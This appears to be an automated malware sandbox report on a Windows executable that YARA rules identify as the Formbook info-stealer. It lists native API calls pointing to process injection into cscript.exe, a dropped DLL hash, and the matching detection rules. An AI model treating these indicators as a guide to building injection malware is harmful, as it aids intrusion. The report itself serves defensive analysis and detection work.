Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B799A0 NtCreateSection,LdrInitializeThunk, 1_2_00B799A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79910 NtAdjustPrivilegesToken,LdrInitializeThunk, 1_2_00B79910
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79A20 NtResumeThread,LdrInitializeThunk, 1_2_00B79A20
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79A00 NtProtectVirtualMemory,LdrInitializeThunk, 1_2_00B79A00
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79A50 NtCreateFile,LdrInitializeThunk, 1_2_00B79A50
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B795D0 NtClose,LdrInitializeThunk, 1_2_00B795D0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79540 NtReadFile,LdrInitializeThunk, 1_2_00B79540
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B796E0 NtFreeVirtualMemory,LdrInitializeThunk, 1_2_00B796E0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79660 NtAllocateVirtualMemory,LdrInitializeThunk, 1_2_00B79660
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B797A0 NtUnmapViewOfSection,LdrInitializeThunk, 1_2_00B797A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79780 NtMapViewOfSection,LdrInitializeThunk, 1_2_00B79780
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79FE0 NtCreateMutant,LdrInitializeThunk, 1_2_00B79FE0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79710 NtQueryInformationToken,LdrInitializeThunk, 1_2_00B79710
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B798A0 NtWriteVirtualMemory, 1_2_00B798A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79820 NtEnumerateKey, 1_2_00B79820
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B7B040 NtSuspendThread, 1_2_00B7B040
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B799D0 NtCreateProcessEx, 1_2_00B799D0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79950 NtQueueApcThread, 1_2_00B79950
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79A80 NtOpenDirectoryObject, 1_2_00B79A80
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79A10 NtQuerySection, 1_2_00B79A10
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B7A3B0 NtGetContextThread, 1_2_00B7A3B0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79B00 NtSetValueKey, 1_2_00B79B00
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B795F0 NtQueryInformationFile, 1_2_00B795F0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B7AD30 NtSetContextThread, 1_2_00B7AD30
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79520 NtWaitForSingleObject, 1_2_00B79520
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79560 NtWriteFile, 1_2_00B79560
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B796D0 NtCreateKey, 1_2_00B796D0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79610 NtEnumerateValueKey, 1_2_00B79610
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79670 NtQueryInformationProcess, 1_2_00B79670
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79650 NtQueryValueKey, 1_2_00B79650
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79730 NtQueryVirtualMemory, 1_2_00B79730
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B7A710 NtOpenProcessToken, 1_2_00B7A710
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79770 NtSetInformationFile, 1_2_00B79770
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B7A770 NtOpenThread, 1_2_00B7A770
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B79760 NtOpenProcess, 1_2_00B79760
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_1_004181C0 NtCreateFile, 1_1_004181C0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_1_00418270 NtReadFile, 1_1_00418270
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_1_004182F0 NtClose, 1_1_004182F0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_1_004183A0 NtAllocateVirtualMemory, 1_1_004183A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A895D0 NtClose,LdrInitializeThunk, 3_2_04A895D0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89540 NtReadFile,LdrInitializeThunk, 3_2_04A89540
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A896E0 NtFreeVirtualMemory,LdrInitializeThunk, 3_2_04A896E0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A896D0 NtCreateKey,LdrInitializeThunk, 3_2_04A896D0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89660 NtAllocateVirtualMemory,LdrInitializeThunk, 3_2_04A89660
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89650 NtQueryValueKey,LdrInitializeThunk, 3_2_04A89650
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89780 NtMapViewOfSection,LdrInitializeThunk, 3_2_04A89780
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89FE0 NtCreateMutant,LdrInitializeThunk, 3_2_04A89FE0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89710 NtQueryInformationToken,LdrInitializeThunk, 3_2_04A89710
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89860 NtQuerySystemInformation,LdrInitializeThunk, 3_2_04A89860
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89840 NtDelayExecution,LdrInitializeThunk, 3_2_04A89840
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A899A0 NtCreateSection,LdrInitializeThunk, 3_2_04A899A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89910 NtAdjustPrivilegesToken,LdrInitializeThunk, 3_2_04A89910
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89A50 NtCreateFile,LdrInitializeThunk, 3_2_04A89A50
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A895F0 NtQueryInformationFile, 3_2_04A895F0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89520 NtWaitForSingleObject, 3_2_04A89520
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A8AD30 NtSetContextThread, 3_2_04A8AD30
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89560 NtWriteFile, 3_2_04A89560
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89610 NtEnumerateValueKey, 3_2_04A89610
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89670 NtQueryInformationProcess, 3_2_04A89670
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A897A0 NtUnmapViewOfSection, 3_2_04A897A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89730 NtQueryVirtualMemory, 3_2_04A89730
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A8A710 NtOpenProcessToken, 3_2_04A8A710
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89760 NtOpenProcess, 3_2_04A89760
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A8A770 NtOpenThread, 3_2_04A8A770
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89770 NtSetInformationFile, 3_2_04A89770
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A898A0 NtWriteVirtualMemory, 3_2_04A898A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A898F0 NtReadVirtualMemory, 3_2_04A898F0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89820 NtEnumerateKey, 3_2_04A89820
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A8B040 NtSuspendThread, 3_2_04A8B040
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A899D0 NtCreateProcessEx, 3_2_04A899D0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89950 NtQueueApcThread, 3_2_04A89950
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89A80 NtOpenDirectoryObject, 3_2_04A89A80
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89A20 NtResumeThread, 3_2_04A89A20
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89A00 NtProtectVirtualMemory, 3_2_04A89A00
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89A10 NtQuerySection, 3_2_04A89A10
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A8A3B0 NtGetContextThread, 3_2_04A8A3B0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A89B00 NtSetValueKey, 3_2_04A89B00
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B682F0 NtClose, 3_2_02B682F0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B68270 NtReadFile, 3_2_02B68270
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B683A0 NtAllocateVirtualMemory, 3_2_02B683A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B681C0 NtCreateFile, 3_2_02B681C0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B682EA NtClose, 3_2_02B682EA
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B6839A NtAllocateVirtualMemory, 3_2_02B6839A
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_0040314A EntryPoint,#17,OleInitialize,SHGetFileInfoA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,GetCommandLineA,GetModuleHandleA,CharNextA,OleUninitialize,ExitProcess,lstrcatA,CreateDirectoryA,lstrcatA,lstrcatA,DeleteFileA,GetModuleFileNameA,lstrcmpiA,CopyFileA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 0_2_0040314A
Detected potential crypto function
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_004046A7 0_2_004046A7
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0040102C 1_2_0040102C
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00401030 1_2_00401030
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041B881 1_2_0041B881
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041C10F 1_2_0041C10F
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041A2A6 1_2_0041A2A6
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041BC41 1_2_0041BC41
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00408C5C 1_2_00408C5C
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00408C60 1_2_00408C60
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00402D90 1_2_00402D90
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_0041CEF6 1_2_0041CEF6
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00402FB0 1_2_00402FB0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B620A0 1_2_00B620A0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4B090 1_2_00B4B090
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C028EC 1_2_00C028EC
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C020A8 1_2_00C020A8
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF1002 1_2_00BF1002
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C0E824 1_2_00C0E824
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B54120 1_2_00B54120
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B3F900 1_2_00B3F900
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C022AE 1_2_00C022AE
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BEFA2B 1_2_00BEFA2B
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B6EBB0 1_2_00B6EBB0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BF03DA 1_2_00BF03DA
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFDBD2 1_2_00BFDBD2
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C02B28 1_2_00C02B28
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B5AB40 1_2_00B5AB40
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4841F 1_2_00B4841F
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFD466 1_2_00BFD466
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C025DD 1_2_00C025DD
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B62581 1_2_00B62581
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B4D5E0 1_2_00B4D5E0
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B30D20 1_2_00B30D20
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C01D55 1_2_00C01D55
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C02D07 1_2_00C02D07
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C02EF7 1_2_00C02EF7
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00B56E30 1_2_00B56E30
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00BFD616 1_2_00BFD616
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C0DFCE 1_2_00C0DFCE
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 1_2_00C01FF1 1_2_00C01FF1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5841F 3_2_04A5841F
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B0D466 3_2_04B0D466
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A72581 3_2_04A72581
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5D5E0 3_2_04A5D5E0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B125DD 3_2_04B125DD
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A40D20 3_2_04A40D20
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B12D07 3_2_04B12D07
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B11D55 3_2_04B11D55
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B12EF7 3_2_04B12EF7
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A66E30 3_2_04A66E30
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B0D616 3_2_04B0D616
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B11FF1 3_2_04B11FF1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B1DFCE 3_2_04B1DFCE
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A720A0 3_2_04A720A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B120A8 3_2_04B120A8
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5B090 3_2_04A5B090
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B128EC 3_2_04B128EC
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B1E824 3_2_04B1E824
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01002 3_2_04B01002
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A64120 3_2_04A64120
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4F900 3_2_04A4F900
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B122AE 3_2_04B122AE
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AFFA2B 3_2_04AFFA2B
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7EBB0 3_2_04A7EBB0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B0DBD2 3_2_04B0DBD2
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B003DA 3_2_04B003DA
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B12B28 3_2_04B12B28
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6AB40 3_2_04A6AB40
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B6A2A6 3_2_02B6A2A6
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B6CEF6 3_2_02B6CEF6
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B52FB0 3_2_02B52FB0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B58C60 3_2_02B58C60
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B58C5C 3_2_02B58C5C
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_02B52D90 3_2_02B52D90
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\nsv773C.tmp\m9c3uhgbfqo.dll 29943F203F544CD1F2B51396E1B371B017B705A3D43FF16E3A8FCC7350E629D9
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: String function: 00B3B150 appears 45 times
Source: C:\Windows\SysWOW64\cscript.exe Code function: String function: 04A4B150 appears 48 times
PE file contains strange resources
Source: 4oItdZkNOZ.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Sample file is different than original file name gathered from version info
Source: 4oItdZkNOZ.exe, 00000000.00000003.341791860.000000001EF56000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs 4oItdZkNOZ.exe
Source: 4oItdZkNOZ.exe, 00000001.00000002.388375674.0000000000C2F000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs 4oItdZkNOZ.exe
Source: 4oItdZkNOZ.exe, 00000001.00000002.388207380.0000000000A60000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamecscript.exe` vs 4oItdZkNOZ.exe
Uses 32bit PE files
Source: 4oItdZkNOZ.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Yara signature match
Source: 00000003.00000002.604139164.0000000002B50000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.604139164.0000000002B50000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.603084616.0000000000300000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.603084616.0000000000300000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.388146852.00000000009F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.388146852.00000000009F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.350827650.00000000026A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.350827650.00000000026A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000001.345961312.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000001.345961312.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.387799349.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.387799349.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.387989609.00000000006A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.387989609.00000000006A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.1.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.1.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.4oItdZkNOZ.exe.26a0000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.4oItdZkNOZ.exe.26a0000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.4oItdZkNOZ.exe.26a0000.2.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.4oItdZkNOZ.exe.26a0000.2.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: classification engine Classification label: mal100.troj.evad.winEXE@7/3@15/9
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_004041E5 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 0_2_004041E5
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_004020A6 CoCreateInstance,MultiByteToWideChar, 0_2_004020A6
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:952:120:WilError_01
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe File created: C:\Users\user\AppData\Local\Temp\nsa770C.tmp Jump to behavior
